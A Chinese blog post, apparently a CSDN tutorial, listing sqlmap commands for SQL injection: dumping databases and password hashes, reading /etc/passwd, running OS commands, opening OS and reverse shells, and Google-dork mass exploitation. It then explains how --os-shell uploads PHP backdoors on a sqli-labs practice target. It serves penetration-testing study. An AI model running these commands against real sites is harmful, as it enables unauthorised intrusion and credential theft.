安全工具之SQLMAP

SQLMAP是一款强大的SQL注入漏洞检测和利用工具。本文介绍了SQLMAP的常见使用方法,特别是os-shell原理,包括如何利用它执行操作系统命令,并讨论了使用os-shell的条件和注意事项。在总结中强调了熟练掌握安全工具的重要性,以及对漏洞利用的深入理解和实践。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

SQLMAP

SQLMAP就是针对SQL注入漏洞的检测和利用工具

常见使用

python sqlmap/sqlmap.py -u "http://url/news?id=1" --current-user #获取当前用户名称 
python sqlmap/sqlmap.py -u "http://www.xxoo.com/news?id=1" --current-db #获取当前数据库名称
python sqlmap/sqlmap.py -u "http://www.xxoo.com/news?id=1" --tables -D "db_name" #列表名 
python sqlmap/sqlmap.py -u "http://url/news?id=1" --columns -T "tablename" users-D "db_name" -v 0 #列字段
python sqlmap/sqlmap.py -u "http://url/news?id=1" --dump -C "column_name" -T "table_name" -D "db_name" -v 0 #获取字段内容
python sqlmap/sqlmap.py -u "http://url/news?id=1"  --smart  --level 3 --users  # smart智能 level  执行测试等级
python sqlmap/sqlmap.py -u "http://url/news?id=1"  --dbms "Mysql" --users  # dbms 指定数据库类型
python sqlmap/sqlmap.py -u "http://url/news?id=1"    --users  #列数据库用户
python sqlmap/sqlmap.py -u "http://url/news?id=1"    --dbs#列数据库 
python sqlmap/sqlmap.py -u "http://url/news?id=1"   --passwords #数据库用户密码 
python sqlmap/sqlmap.py -u "http://url/news?id=1"   --passwords-U root  -v 0 #列出指定用户数据库密码
python sqlmap/sqlmap.py -u "http://url/news?id=1"     --dump -C "password,user,id" -T "tablename" -D "db_name" --start 1 --stop 20  #列出指定字段,列出20条 
 python sqlmap/sqlmap.py -u "http://url/news?id=1"    --dump-all -v 0 #列出所有数据库所有表
python sqlmap/sqlmap.py -u "http://url/news?id=1"   --privileges #查看权限 
python sqlmap/sqlmap.py -u "http://url/news?id=1"   --privileges -U root #查看指定用户权限
python sqlmap/sqlmap.py -u "http://url/news?id=1"    --is-dba -v 1 #是否是数据库管理员
python sqlmap/sqlmap.py -u "http://url/news?id=1"    --roles #枚举数据库用户角色 
python sqlmap/sqlmap.py -u "http://url/news?id=1"   --udf-inject #导入用户自定义函数(获取系统权限!)
python sqlmap/sqlmap.py -u "http://url/news?id=1"   --dump-all --exclude-sysdbs -v 0 #列出当前库所有表
python sqlmap/sqlmap.py -u "http://url/news?id=1"   --union-cols #union 查询表记录 
python sqlmap/sqlmap.py -u "http://url/news?id=1"   --cookie "COOKIE_VALUE" #cookie注入
python sqlmap/sqlmap.py -u "http://url/news?id=1"   -b #获取banner信息
python sqlmap/sqlmap.py -u "http://url/news?id=1" --data "id=3"  #post注入
python sqlmap/sqlmap.py -u "http://url/news?id=1"  -v 1 -f #指纹判别数据库类型 
python sqlmap/sqlmap.py -u "http://url/news?id=1"  --proxy"http://127.0.0.1:8118" #代理注入
python sqlmap/sqlmap.py -u "http://url/news?id=1"--string"STRING_ON_TRUE_PAGE"  #指定关键词
python sqlmap/sqlmap.py -u "http://url/news?id=1"   --sql-shell #执行指定sql命令
python sqlmap/sqlmap.py -u "http://url/news?id=1"   --file /etc/passwd 
python sqlmap/sqlmap.py -u "http://url/news?id=1"   --os-cmd=whoami #执行系统命令
python sqlmap/sqlmap.py -u "http://url/news?id=1"   --os-shell #系统交互shell
python sqlmap/sqlmap.py -u "http://url/news?id=1"   --os-pwn #反弹shell 
python sqlmap/sqlmap.py -u "http://url/news?id=1"   --reg-read #读取win系统注册表
python sqlmap/sqlmap.py -u "http://url/news?id=1"    --dbs-o "sqlmap.log" #保存进度 
python sqlmap/sqlmap.py -u "http://url/news?id=1"    --dbs  -o "sqlmap.log" --resume  #恢复已保存进度sqlmap -g "google语法" --dump-all --batch  #google搜索注入点自动 跑出所有字段攻击实例
python sqlmap/sqlmap.py -u "http://url/news?id=1&Submit=Submit" --cookie="PHPSESSID=41aa833e6d0d28f489ff1ab5a7531406" --string="Surname" --dbms=mysql --users --password

这里我就不贴图看效果了,可以通过sqlilabs靶场等多多练习,熟练掌握常见参数的使用方法(上面的是我从别处引用的,其实在此之前我都没怎么用sqlmap,惭愧啊)

特定参数原理

os-shell原理

原理就是上传后门。
操作步骤:
执行语句:python sqlmap.py -u “http://127.0.0.1/sqlilabs/less-3/?id=3” --os-shell
1.选择脚本解析格式。(这里我使用的是sqlilab靶场,使用选4)
在这里插入图片描述
2.选择上传路径(绝对路径),一种情况是sqlmap自己爆出来,二是用户定义,手动输入。
在这里插入图片描述
3.返回os-shell。可以看到sqlmap中在用户定义的路径下,上传了两个PHP文件。同样在路径目录下也确实看到了这两个文件。
在这里插入图片描述

问题?
1.–os-shell,条件
file权限(mysql5.7以后secure_file_priv默认为null,不可以写入,为“”表示可以写入任意位置)
绝对路径
php gpc off(魔术引号)等过滤关闭或者没有过滤
2.为什么要上传两个文件?
首先一个文件为支持文件上传功能的php文件,另一个是通过该上传php上传的php后门文件。
我个人觉得绕过一些过滤,兼容性更好吧,其实完全可以只上传一个文件。
当我们退出后os-shell,这两个文件会自动删除(强,直接可以擦屁股)。

总结

工具使用,不仅可以体现出对漏洞原理的理解,更可以体现对漏洞利用的,和全局的掌控。
切勿浮躁!!!!!!!!!!多看多练多思考,你虽然不能站在顶端,但你一直在往上走,这就够了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值